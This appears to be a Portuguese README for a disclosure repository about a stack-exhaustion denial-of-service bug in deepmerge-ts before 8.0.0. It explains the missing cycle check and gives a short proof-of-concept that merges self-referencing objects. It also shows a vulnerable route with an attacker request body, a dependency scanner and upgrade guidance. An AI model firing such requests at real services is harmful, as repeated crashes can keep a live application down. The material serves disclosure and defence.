
Reproduz uma negação de serviço por exaustão de pilha no deepmerge-ts anterior à versão 8.0.0, documenta a exploração e inclui um scanner para faixas de dependências vulneráveis.
Reproduzi um bug de esgotamento de pilha nas versões do deepmerge-ts anteriores à 8.0.0.
A parte interessante é que a falha não precisa de um objeto aninhado enorme. Ela vem da identidade do objeto. Se ambos os valores sendo mesclados apontarem de volta para si mesmos através da mesma propriedade, a rotina de mesclagem continua visitando o mesmo par até o Node.js ficar sem espaço na pilha.
Aviso: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Severidade: Alta Impacto: Disponibilidade
A maioria dos testes de mesclagem usa dados comuns em formato JSON:
{
user: {
name: "alice"
}
}
Esses dados são acíclicos. Objetos JavaScript também podem conter referências a si mesmos ou a outro objeto no mesmo grafo. Esses casos passam facilmente despercebidos se a suíte de testes usar apenas fixtures JSON.
O menor grafo com falha é formado por dois objetos separados com a mesma autorreferência:
const left = {};
left.self = left;
const right = {};
right.self = right;
A mesclagem de registros percorre as chaves enumeráveis, coleta os valores de cada chave e chama a rotina de mesclagem novamente para esses valores. Não há verificação de ciclo nem rastreamento de pares de objetos já visitados nas versões afetadas.
A chave self envia a execução de volta ao mesmo estado:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
O mesmo comportamento é acessível por meio de deepmergeInto, deepmergeCustom e deepmergeIntoCustom quando elas recebem o mesmo tipo de grafo.
O pacote está fixado na versão afetada 7.1.6 no package.json.
npm install
npm run poc
O teste completo está em poc.mjs. Ele executa ambas as APIs públicas localmente e captura o RangeError esperado para que o resultado seja fácil de ler.
A parte importante do PoC é:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
Saída esperada:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
O PoC retorna sucesso quando o comportamento afetado é observado. Se o pacote for atualizado e ambas as chamadas forem concluídas, ele imprime um resultado limpo e encerra com o código de saída 1 porque o problema não foi reproduzido.
Não existe um payload JSON cíclico mágico. Um parser JSON normal cria um grafo acíclico, então isso não é acionado simplesmente enviando um corpo JSON muito profundo para:
deepmerge(defaults, req.body);
A aplicação precisa criar ou preservar o ciclo antes de chamar a função de mesclagem. Isso pode acontecer em código de hidratação de grafos, em um desserializador que preserva referências, na reutilização de objetos de cache ou de sessão, ou em lógica personalizada que vincula registros entre si.
Aqui está um pequeno exemplo de integração vulnerável. A função hydrate transforma uma flag controlada pelo usuário em uma autorreferência:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
Se uma rota HTTP chamar mergeRequest, um atacante pode enviar:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
Ambos os lados agora contêm uma referência self. Quando a rota chama deepmerge(left, right), a biblioteca segue left.self e right.self, recebe o mesmo par novamente e recorre até o V8 lançar uma exceção.
Uma aplicação não precisa usar exatamente essa função hydrate. As condições importantes são:
Se a rota for pública e a exceção não for capturada, uma única requisição pode derrubar o worker do Node.js. Se um supervisor de processos o reiniciar automaticamente, requisições repetidas podem manter o serviço em um loop de reinicialização. Se for necessária autenticação, o atacante ainda precisará de acesso a essa rota.
Isso é um problema de negação de serviço. O bug não permite execução de código, acesso a arquivos nem uma forma de ler a entrada de mesclagem de outra requisição.
Essa distinção é importante ao avaliar uma aplicação real. O seguinte corpo de requisição não é, por si só, um ciclo:
{
"self": true
}
Ele só se torna relevante se o código da aplicação interpretar self: true como uma referência ao objeto raiz, ou se outro parser restaurar referências de objetos. O pacote ainda deve lidar com o grafo resultante com segurança, mas a explorabilidade remota depende do código ao redor do pacote.
O impacto direto é a disponibilidade, por meio do esgotamento síncrono da pilha.
Dependendo da aplicação ao redor, o resultado pode ser:
RangeErrorNão há impacto de confidencialidade ou integridade neste problema por si só. A severidade aumenta quando a rota de mesclagem não exige autenticação, está acessível pela internet pública ou é tentada novamente automaticamente por outro serviço.
Adicionei o scanner.mjs para encontrar referências de dependências afetadas antes de executar o PoC de falha. Ele verifica:
package.jsonpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlExecute-o em um diretório de projeto:
node scanner.mjs /path/to/project
Para CI ou outras ferramentas, use a saída JSON:
node scanner.mjs /path/to/project --json
Exemplo de resultado para este repositório:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
O scanner encerra com o código de saída 1 quando encontra uma versão ou faixa afetada. URLs git e outras fontes não-semver são marcadas como REVIEW em vez de serem silenciosamente tratadas como seguras.
A correção direta é atualizar para deepmerge-ts >= 8.0.0 e atualizar o lockfile.
npm install deepmerge-ts@^8.0.0
A aplicação também deve decidir como lidar com entradas recursivas. Opções razoáveis são:
Capturar o erro é útil para a estabilidade do processo, mas não remove a negação de serviço subjacente se um atacante puder repetir a requisição. Atualizar a dependência e tratar a entrada recursiva são as correções importantes.
Altere a dependência para 8.0.1, reinstale e execute o mesmo PoC:
npm install [email protected]
npm run poc
Na versão corrigida, ambas as chamadas são concluídas e o script imprime:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
O PoC e o scanner deste repositório são distribuídos sob a Licença MIT.